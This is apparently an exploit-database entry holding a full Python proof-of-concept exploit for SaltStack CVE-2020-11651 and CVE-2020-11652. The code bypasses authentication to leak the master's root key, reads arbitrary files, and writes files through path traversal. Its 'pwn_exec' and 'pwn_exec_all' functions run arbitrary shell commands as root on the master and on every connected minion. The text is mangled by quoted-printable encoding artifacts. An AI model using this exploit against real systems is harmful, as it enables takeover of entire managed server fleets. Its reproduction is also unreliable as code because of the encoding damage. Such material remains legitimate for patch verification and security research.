Saltstack 3000.2 - Remote Code Execution

2020-05-05
ID: 102929
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 2020-05-04
# Exploit Author: Jasper Lievisse Adriaanse
# Vendor Homepage: https://www.saltstack.com/
# Version: < 3000.2, < 2019.2.4, 2017.*, 2018.*
# Tested on: Debian 10 with Salt 2019.2.0
# CVE : CVE-2020-11651 and CVE-2020-11652
# Discription: Saltstack authentication bypass/remote code execution
#
# Source: https://github.com/jasperla/CVE-2020-11651-poc
# This exploit is based on this checker script:
# https://github.com/rossengeorgiev/salt-security-backports

#!/usr/bin/env python

from __future__ import absolute_import, print_function, unicode_literals
import argparse
import datetime
import os
import os.path
import sys
import time

import salt
import salt.version
import salt.transport.client
import salt.exceptions

def init_minion(master_ip, master_port):
    minion_config =3D {
        'transport': 'zeromq',
        'pki_dir': '/tmp',
        'id': 'root',
        'log_level': 'debug',
        'master_ip': master_ip,
        'master_port': master_port,
        'auth_timeout': 5,
        'auth_tries': 1,
        'master_uri': 'tcp://{0}:{1}'.format(master_ip, master_port)
    }

    return salt.transport.client.ReqChannel.factory(minion_config, crypt=3D=
'clear')

# --- check funcs ----

def check_salt_version():
  print("[+] Salt version: {}".format(salt.version.__version__))

  vi =3D salt.version.__version_info__

  if (vi < (2019, 2, 4) or (3000,) <=3D vi < (3000, 2)):
     return True
  else:
     return False

def check_connection(master_ip, master_port, channel):
  print("[+] Checking salt-master ({}:{}) status... ".format(master_ip, mas=
ter_port), end=3D'')
  sys.stdout.flush()

  # connection check
  try:
    channel.send({'cmd':'ping'}, timeout=3D2)
  except salt.exceptions.SaltReqTimeoutError:
    print("OFFLINE")
    sys.exit(1)
  else:
    print("ONLINE")

def check_CVE_2020_11651(channel):
  print("[+] Checking if vulnerable to CVE-2020-11651... ", end=3D'')
  sys.stdout.flush()
  # try to evil
  try:
    rets =3D channel.send({'cmd': '_prep_auth_info'}, timeout=3D3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
  except:
    print("ERROR")
    raise
  else:
      pass
  finally:
    if rets:
      root_key =3D rets[2]['root']
      return root_key

  return None

def check_CVE_2020_11652_read_token(debug, channel, top_secret_file_path):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read_token)... ", en=
d=3D'')
  sys.stdout.flush()

  # try read file
  msg =3D {
    'cmd': 'get_token',
    'arg': [],
    'token': top_secret_file_path,
  }

  try:
    rets =3D channel.send(msg, timeout=3D3)
  except salt.exceptions.SaltReqTimeoutError:
    print("YES")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    print("NO")
 =20
def check_CVE_2020_11652_read(debug, channel, top_secret_file_path, root_ke=
y):
  print("[+] Checking if vulnerable to CVE-2020-11652 (read)... ", end=3D''=
)
  sys.stdout.flush()

  # try read file
  msg =3D {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.read',
    'path': top_secret_file_path,
    'saltenv': 'base',
  }

  try:
    rets =3D channel.send(msg, timeout=3D3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return']:
      print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write1(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write1)... ", end=3D=
'')
  sys.stdout.flush()

  # try read file
  msg =3D {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'file_roots.write',
    'path': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'data': 'evil',
    'saltenv': 'base',
  }

  try:
    rets =3D channel.send(msg, timeout=3D3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)

    pp(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def check_CVE_2020_11652_write2(debug, channel, root_key):
  print("[+] Checking if vulnerable to CVE-2020-11652 (write2)... ", end=3D=
'')
  sys.stdout.flush()

  # try read file
  msg =3D {
    'key': root_key,
    'cmd': 'wheel',
    'fun': 'config.update_config',
    'file_name': '../../../../../../../../tmp/salt_CVE_2020_11652',
    'yaml_contents': 'evil',
    'saltenv': 'base',
  }

  try:
    rets =3D channel.send(msg, timeout=3D3)
  except salt.exceptions.SaltReqTimeoutError:
    print("TIMEOUT")
  except:
    print("ERROR")
    raise
  else:
    if debug:
      print()
      print(rets)
    if rets['data']['return'].startswith('Wrote'):
      try:
        os.remove('/tmp/salt_CVE_2020_11652.conf')
      except OSError:
        print("Maybe?")
      else:
        print("YES")
    else:
      print("NO")

def pwn_read_file(channel, root_key, path, master_ip):
    print("[+] Attemping to read {} from {}".format(path, master_ip))
    sys.stdout.flush()

    msg =3D {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.read',
        'path': path,
        'saltenv': 'base',
    }

    rets =3D channel.send(msg, timeout=3D3)
    print(rets['data']['return'][0][path])

def pwn_upload_file(channel, root_key, src, dest, master_ip):
    print("[+] Attemping to upload {} to {} on {}".format(src, dest, master=
_ip))
    sys.stdout.flush()

    try:
        fh =3D open(src, 'rb')
        payload =3D fh.read()
        fh.close()
    except Exception as e:
        print('[-] Failed to read {}: {}'.format(src, e))
        return

    msg =3D {
        'key': root_key,
        'cmd': 'wheel',
        'fun': 'file_roots.write',
        'saltenv': 'base',
        'data': payload,
        'path': dest,
    }

    rets =3D channel.send(msg, timeout=3D3)
    print('[ ] {}'.format(rets['data']['return']))

def pwn_exec(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
    sys.stdout.flush()

    msg =3D {
        'key': root_key,
        'cmd': 'runner',
        'fun': 'salt.cmd',
        'saltenv': 'base',
        'user': 'sudo_user',
        'kwarg': {
            'fun': 'cmd.exec_code',
            'lang': 'python',
            'code': "import subprocess;subprocess.call('{}',shell=3DTrue)".=
format(cmd)
        },
        'jid': jid,
    }

    try:
        rets =3D channel.send(msg, timeout=3D3)
    except Exception as e:
        print('[-] Failed to submit job')
        return

    if rets.get('jid'):
        print('[+] Successfully scheduled job: {}'.format(rets['jid']))

def pwn_exec_all(channel, root_key, cmd, master_ip, jid):
    print("[+] Attemping to execute '{}' on all minions connected to {}".fo=
rmat(cmd, master_ip))
    sys.stdout.flush()

    msg =3D {
        'key': root_key,
        'cmd': '_send_pub',
        'fun': 'cmd.run',
        'user': 'root',
        'arg': [ "/bin/sh -c '{}'".format(cmd) ],
        'tgt': '*',
        'tgt_type': 'glob',
        'ret': '',
        'jid': jid
    }

    try:
        rets =3D channel.send(msg, timeout=3D3)
    except Exception as e:
        print('[-] Failed to submit job')
        return
    finally:
        if rets =3D=3D None:
            print('[+] Successfully submitted job to all minions.')
        else:
            print('[-] Failed to submit job')


def main():
    parser =3D argparse.ArgumentParser(description=3D'Saltstack exploit for=
 CVE-2020-11651 and CVE-2020-11652')
    parser.add_argument('--master', '-m', dest=3D'master_ip', default=3D'12=
7.0.0.1')
    parser.add_argument('--port', '-p', dest=3D'master_port', default=3D'45=
06')
    parser.add_argument('--force', '-f', dest=3D'force', default=3DFalse, a=
ction=3D'store_false')
    parser.add_argument('--debug', '-d', dest=3D'debug', default=3DFalse, a=
ction=3D'store_true')
    parser.add_argument('--run-checks', '-c', dest=3D'run_checks', default=
=3DFalse, action=3D'store_true')
    parser.add_argument('--read', '-r', dest=3D'read_file')
    parser.add_argument('--upload-src', dest=3D'upload_src')
    parser.add_argument('--upload-dest', dest=3D'upload_dest')
    parser.add_argument('--exec', dest=3D'exec', help=3D'Run a command on t=
he master')
    parser.add_argument('--exec-all', dest=3D'exec_all', help=3D'Run a comm=
and on all minions')
    args =3D parser.parse_args()

    print("[!] Please only use this script to verify you have correctly pat=
ched systems you have permission to access. Hit ^C to abort.")
    time.sleep(1)

    # Both src and destination are required for uploads
    if (args.upload_src and args.upload_dest is None) or (args.upload_dest =
and args.upload_src is None):
        print('[-] Must provide both --upload-src and --upload-dest')
        sys.exit(1)

    channel =3D init_minion(args.master_ip, args.master_port)

    if check_salt_version():
       print("[ ] This version of salt is vulnerable! Check results below")
    elif args.force:
       print("[*] This version of salt does NOT appear vulnerable. Proceedi=
ng anyway as requested.")
    else:
       sys.exit()

    check_connection(args.master_ip, args.master_port, channel)
   =20
    root_key =3D check_CVE_2020_11651(channel)
    if root_key:
        print('\n[*] root key obtained: {}'.format(root_key))
    else:
        print('[-] Failed to find root key...aborting')
        sys.exit(127)

    if args.run_checks:
        # Assuming this check runs on the master itself, create a file with=
 "secret" content
        # and abuse CVE-2020-11652 to read it.
        top_secret_file_path =3D '/tmp/salt_cve_teta'
        with salt.utils.fopen(top_secret_file_path, 'w') as fd:
            fd.write("top secret")

        # Again, this assumes we're running this check on the master itself
        with salt.utils.fopen('/var/cache/salt/master/.root_key') as keyfd:
            root_key =3D keyfd.read()

        check_CVE_2020_11652_read_token(debug, channel, top_secret_file_pat=
h)
        check_CVE_2020_11652_read(debug, channel, top_secret_file_path, roo=
t_key)
        check_CVE_2020_11652_write1(debug, channel, root_key)
        check_CVE_2020_11652_write2(debug, channel, root_key)
        os.remove(top_secret_file_path)
        sys.exit(0)

    if args.read_file:
        pwn_read_file(channel, root_key, args.read_file, args.master_ip)

    if args.upload_src:
        if os.path.isabs(args.upload_dest):
            print('[-] Destination path must be relative; aborting')
            sys.exit(1)
        pwn_upload_file(channel, root_key, args.upload_src, args.upload_des=
t, args.master_ip)


    jid =3D '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow())

    if args.exec:
        pwn_exec(channel, root_key, args.exec, args.master_ip, jid)

    if args.exec_all:
        print("[!] Lester, is this what you want? Hit ^C to abort.")
        time.sleep(2)
        pwn_exec_all(channel, root_key, args.exec_all, args.master_ip, jid)


if __name__ =3D=3D '__main__':
    main()
1-4-2 (www02)